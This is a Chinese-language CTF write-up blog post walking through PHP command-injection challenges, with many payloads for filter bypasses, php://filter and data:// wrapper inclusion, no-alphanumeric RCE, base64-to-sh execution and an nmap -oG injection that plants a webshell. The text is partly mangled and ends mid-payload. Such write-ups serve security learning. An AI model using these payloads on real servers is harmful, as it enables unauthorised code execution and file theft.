Web29(通配符)
1 |
|
eval(string $code)
把字符串 code
作为PHP代码执行,并且里面的字符串结尾要加;号,否则不行
1 |
|
echo和system都可以执行程序外的指令,echo 指令内容
即可,system(指令)
然后linux系统内有通配符
Linux通配符
“*”符号:代表0个或者多个字符。例如在一个目录下,搜索以.csv结尾的文件
“?”符号:代表任意一个字符.例如想要搜索以b字母开头,但是只有两个字母的文件名,并以.doc结尾的文件名
“[]”符号:匹配括号内包含的任一字符
“^“符号和”!”:通常与[]一起使用,代表取反
反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。由’’ 、**^**
、**()**
** 符号并不会影响命令的执行,所以我们可以插入这些符号来绕过(第一个是一对单引号)**
Linux中表示输出的函数有,cat,tac,more,nl
- cat 由第一行开始显示文件内容
- tac 由最后一行开始显示文件内容(刚好和cat字母相反)
- nl 按行号显示文件内容
- more 一页一页翻动的读取
payload1:?c=echo
cat fla''g.php
;或者?c=echotac fl?g.php
;等等payload2:?c=system(‘cat fla?.php’);
payload3:?c=system(‘cat fl*’);等等在内
Web30(system类似函数)
1 |
|
解法和Web29一模一样payload:?c=echo tac fla?.ph*
;
php有三个执行外部命令的函数:system(),exec(),passthru(),换一个使用即可
Web31(参数逃逸,常规操作)
1 |
|
前提要事
空格过滤:
1.< 和<> 重定向符
2.%09(需要php环境)
3.IFSIFS
6.{cat,flag.php} //用逗号实现了空格功能
7.%20
8.%09 tab注:在eval使用带有在php中有特殊含义
姿势一Payload:?c=echo%09tac%09fl?g?p?p
; ps:使用%09绕过空格
姿势二Payload: ?c=eval($_GET[1]);&1=system(‘cat flag.php’);再访问源代码
姿势三Payload: ?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
姿势三请看Web41内的说明!!!!!!!!!!
重点姿势二:第二种方法的理解为,传入了c=eval(%3B%261%3Dsystem(‘cat%20flag.php’)%3B%E5%85%B6%E4%B8%AD%E7%9A%841%3Dsystem(‘cat%20flag.php’)%3B%E7%BB%95%E8%BF%87%E4%BA%86preg%5C_match%E5%87%BD%E6%95%B0%E7%9A%84%E8%AF%86%E5%88%AB%EF%BC%8C1%E7%9A%84%E5%80%BC%E4%BC%A0%E5%88%B0%E4%BA%86%E7%AC%AC%E4%BA%8C%E4%B8%AAeval%E5%87%BD%E6%95%B0%E9%87%8C%E9%9D%A2%E4%B9%9F%E5%B0%B1%E6%98%AFeval(#card=math&code=_GET%5B1%5D%29%3B%261%3Dsystem%28%27cat%20flag.php%27%29%3B%E5%85%B6%E4%B8%AD%E7%9A%841%3Dsystem%28%27cat%20flag.php%27%29%3B%E7%BB%95%E8%BF%87%E4%BA%86preg%5C_match%E5%87%BD%E6%95%B0%E7%9A%84%E8%AF%86%E5%88%AB%EF%BC%8C1%E7%9A%84%E5%80%BC%E4%BC%A0%E5%88%B0%E4%BA%86%E7%AC%AC%E4%BA%8C%E4%B8%AAeval%E5%87%BD%E6%95%B0%E9%87%8C%E9%9D%A2%E4%B9%9F%E5%B0%B1%E6%98%AFeval%28&id=Shvl2)_GET[1]),在第二个eval内执行system函数。
?c=eval($_GET[2]);&2=system(‘cat flag.php’);
?c=eval($_GET[a]);&a=system(‘cat flag.php’);
?c=eval($_GET[a]);&a=echo
tac flag.php
;
Web32(过滤;)
1 |
|
这一题过滤掉了以前所有的常规方法,所以这题我们用文件包含+逃逸+伪协议,利用文件包含函数include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile等等可以查看文件
payload1: ?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
PS:其中的?>用来绕过分号,因为?>默认给你偷偷加了一个分号,接着将后面1的参数传入的include函数内,filter伪协议是用来读取文件内容的,遇到文件包含函数可以用来读取内容
payload2: ?c=include%09$_POST[1]?>
post传参如图:
PS:用PS方法提交参数,思路和payload1一致
payload3: ?c=include%09$_GET[1]?>&1=data:text/plain,
ps:date伪协议可以执行php命令,同样的用date伪协议也可用post方法传参,payload3为GET方法传参,post方法只需要将&_GET=>&_POST
Web33(同上)
双引号也被过滤掉了
payload与Web32一模一样
Web34(同上)
冒号也被过滤了,由于上一题payload中只有php://filter协议里出现过冒号,所以不影响使用
payload同上
Web35(同上)
过滤新增了尖括号,继续使用php://filter协议同上
payload一样
Web36(同上)
等号与数字被过滤,我们将原来的数字再替换成字符即可
payload: ?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
payload2: ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Web37(data协议编码绕过)
1 |
|
看到include就想到文件包含,文件包含就想到伪协议,然后这里显然不能用filter因为用了filter协议就要有flag的字眼,而且filter不能把输入的东西加密,只能把输出的东西加密,所以这里用data协议data://text/plain;base64,内容,内容为:,用base64对其转码得到:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
payload: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web38(同上)
比Web37多过滤了php和file,payload和Web38一致
Web39(data协议)
1 |
|
这里同样用data协议,但是include里面加了.php后缀,所以不能用base64进行加密,否则会出不来,这里直接payload=?c=data://text/plain,即可,用?通配符逃过过滤,然后由于这里的php命令已经闭合,所以.php无法影响,所以后面的.php会被当成html页面直接显示在页面上,起不到什么到什么作用,答案如图:
Web40(无数字RCE)
1 |
|
ban掉了很多符号,比如引号,美元符等,但是注意的是他过滤的是中文的括号,没有过滤英文的()
方法一:
先介绍下列几组函数
- localeconv():函数返回包含本地数字及货币信息格式的数组。如下图
- pos()或者current():输出数组的第一个元素,如图:由于localeconv函数第一个元素是一个.,所以输出了一个.
- scandir():以数组的形式列出指定路径中的文件和目录,这里.代表的是当前目录
- array_reverse():将数组倒叙排列
- next():将数组中的内部指针向前移动一位 ,并且输出,也就是输出第二个元素
- show_source()也就是highlight_file():高亮显示代码
所以payload1=?c=show_source((next(array_reverse(scandir(pos(localeconv()))))));
方法二:
payload2=?c=session_start();system(session_id());
其中session_start意思是开启一个对话,会多一个PHPSESSID,这个参数我们可以修改
然后session_id就是获取PHPSESSID的,也就是如图、
方法三:
使用post进行rec远程执行,showtime!首先介绍以下几个函数
- get_defined_vars():此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量,效果图如下:
- 仔细看第二个[_POST]里面没有参数,所以我们用POST方法给他传进去一个试试看
如图所示,已经多了一个参数phpinfo() - 接下来用next函数,获取第二个元素
- array_pop():返回数组最后一个元素的值,这里也可以用pos和curren函数
- 最后把print改为eval进行执行,如图所示进入了phpinfo界面,并且那个1=phpinfo()末尾要加分号,eval函数末尾必须要有分号
- 最后要获得flag,把1的参数改为1=system(‘tac flag.php’);得到flag
Web41(无数字字母RCE)
JOKE
1 |
|
SO今天我们使用的是一款全新的工具,没错PHP+PY脚本,首先我门先写一个PHP脚本如下OK?:
1 |
|
跟这张图一样的感觉,%00和%21变成了!,%00 %22变成了#,当然还有其他的可以合成字母,也就是我们的目的,我们的目的就是合成字母,然后使用函数
NEXT,编造一个py脚本:如下
1 | import requests //request函数库 |
当我想看php或运算
是怎么工作的时候,我首先对param和post请求的data进行打印。
1 | while True: |
我开始好奇这个指令是怎么通过前端发给后端的,于是我复制了第一行的编码在Hackber里发送。
发现报错,我换了其他格式和其他编码还是不行。。。
我开始怀疑是不是()
、%
等等的符号不能被编码,因为本来php的异或运算也不是用%13
等等数值,而是%13
等编码对应的ASCII值!!
比如像有些特殊字符是输入不出来的,具体看ASCII表
而param中的字符串很有可能是发送的报文,事实也证实了猜想。
显然特殊字符被编码的,而我们发送到Repeater,修改一下,发现显示出来了
所以,这更加深刻了我对python的相关代码是直接构造报文发送给后端的理解
Web42(双写绕过,黑洞)
1 |
|
我们来说一下本题重点**$c.” >/dev/null 2>&1”**的意思:
代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/null”
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
那么本文标题的语句:
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
其中本题中的$c相当于我们的command也就是指令,这里system内部命令不需要加引号,这里我们可以用双写绕过
所以payload1: ?c=ls;ls然后?c=tac flag.php;1
ps:这里的分号相当于分隔号,也就是输入两个指令,第二个指令随便什么都可以,反正不会有回显,另外这里的分号我们可以替换成%0a也就是换行符,这里也可以当做分号使用,原理一样
所以 payload2: ?c=tac flag.php%0a
还有一种方法就是使用&&和||来绕过,其中&&要进行URL编码后再传入进去,因为是在URL内传输的,|| 前面错了执行后面的,前面的对了就不执行
&&前面为真执行后面的,前面的错了就不执行后面的
这里这两个东西和分号的作用类似
Payload3: ?c=tac flag.php&&或者?c=tac flag.php||
Web43(类型同上)
源码和上一题一样,多ban掉了cat和;
我们只要用tac和%0a即可,思路就这样
Web44(类型同上)
比web43多ban掉了个flag,我们用通配符*或者?等等即可
payload:?c=tac fla*%0a
Web45(类型同上)
比web44多ban了个空格,我们空格绕过用%09或者${IFS}就好了就好了
Web46(类型同上)
这道题多ban掉了数字0-9和$还有*号
这里我们用前面提到的&&和||来代替;
原理类似,空格就用URL编码去绕过%09可行
所以payload: ?c=tac%09fla?.php||
payload2:?c=c”a”t%09fla??php||
Web47(类型同上)
1 |
|
解法万变不离其宗,多ban了一些输出的东西而已
payload: ?c=tac%09fla’’g.php||
这里要编码是因为’在URL编码有特殊
Web48(类型同上)
与Web47一模一样
Web49(类型同上)
同上,payload:?c=tac%09fla?.php||
ACTF2020 新生赛]Exec (基础的命令执行)
进入后页面如下,猜测指令内容为ping ip
我们首先尝试一下分隔符执行ls,首先输入1;ls,出现了index.php,但是很显然这并不是我们想要的文件
所以接下来我们用命令cd ../
来返回上一级目录,输入1;cd ../;ls
一层层查看,第一次结果如下
直到输入1;cd ../../../;ls
发现了flag
这时我们就payload: 1;cd ../../../;cat flag,得到最终答案
[GXYCTF2019]Ping Ping(一系列绕过)
进入后页面如下,显然是要我们在url是要我们在url上进行输入
尝试输入?ip=1;ls后发现了flag.php和index.php
再度尝试读取,他FXck我的空格,如此不礼貌,那我们就不用空格输入
嗯很好,这次我们用,代替空格后他又骂我们flag,说明过滤了flag,所以我们试试别的
东西都让你给fxck完了呗就是,经过其他的尝试发现ban了很多东西,通配符也ban完了,空格里带百分号的也ban掉了,只能用$IFS$1这一类的
然后我们payload:?ip=1;tac$IFS$1index.php,发现了源码如下
1 |
|
从中我们可以看出他ban了很多字符,这题我发现有很多题解
payload1:?ip=1;a=g;cat$IFS$1fla$a.php
我们来分析一下,首先shell_exec()函数是通过shell的环境来执行命令,在shell里面变量赋值是直接**变量名=值**
这样的,如a=g,payload1内就是用了这种方法,增添一个变量a赋值g,来构造flag.
payload2:?ip=1;cat$IFS$1ls
linux系统内会先将反引号内的指令先运行,所以这个payload内先运行ls得到了index.php和flag.php,然后在cat这两个文件,所以最后答案是这两个源文件的内容
payload3: ?ip=1;echo$IFS$1ZWNobyBgY2F0IGZsYWcucGhwYA==|base64 -d|sh
首先用echo进行了base64传输加密,之后再用sh执行这个命令,base64编码的内容是**cat flag.php**
照样得出答案
[BUUCTF 2018]Online Tool(escapeshellcmd和escapeshellarg)
进入后,代码如下!
1 |
|
出于对未知事物的好奇,我偷偷摸摸的去查了一下$_SERVER到底是个什么鸟东西,以下是百度百科
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。
escapeshellcmd:
escapeshellarg:
怎么样是不是一点用都没有,好进入正题,这里考的是escapeshellarg和escapeshellcmd在一起会摩擦出什么样子的火花,可以参考以下文献
http://www.lmxspace.com/2018/07/16/谈谈escapeshellarg参数绕过和注入的问题/
简单的举个例子:
以上例子可以知道这两个函数存在严重的安全漏洞,可以让我们执行命令,他会把语句分开达到意外的效果
接下来引入一些概念知识
- namp -PS 127.0.0.1
- namp -PS ‘’ 127.0.0.1
- nmap -PS ’ “ “ ’ 127.0.0.1 “ “
引号闭合后,加上这些,无影响- namp -oG 1.php
可以写入一个文件- namp nmap <?php phpinfo();> -oG 1.php\’
会写成1.php‘ 而不是 1.php
接下里的payload就好构造了,nmap有一个参数-oG可以实现将命令和结果写到文件
所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
所以我们的payload:?host=’ -oG 1.php ‘
payload中的@是错误不报告的意思
———————————————————-payload 一定要加空格——————————————————————————————
1 | 正确的样式: |
上传进去后用蚁剑去连接就可以得到答案
格式是url/编码地址/1.php
密码就是我们POST里面的1,然后进去找到答案,编码地址就是sandbox后面那一串
payload2:?host=
‘ -oG test.php ‘
然后直接访问URL/给的编码地址/test.php就可以看到了
[FBCTF2019]RCEService(环境+%0a绕过的RCE)
进入后页面如图所示,根据提示是要我们用JSON的格式输入一个东西
所谓的JSON是什么呢,如下图,简单地说就是{“变量名”:“值”}
json_encode
:
json_decode
:
我们打开源代码看看
look what we find,我们看到有个cmd,那我们就照着提示往下走,先输入{“cmd”:”ls”}得到了以下结果
我们发现了index.php,我尝试了用cat访问,但是无效,大概了ban了罢
后来去网上看了一下,发现这题目比赛上是给了一段源代码的,如下
1 |
|
看的出来ban了很多很多东西,代码审计后发现要我们以json格式输入cmd,并且放入system去执行,那么这个system肯定就是关键了咯,还有这段代码putenv(‘PATH=/home/rceservice/jail’);
这段代码配置了环境变量,在PATH=/home/rceservice/jail下,这就是为什么没ban掉cat却不可以用cat的原因,因为Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用,所以想要用cat得用/bin/cat这种格式
我们来进行尝试输入:?cmd=
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.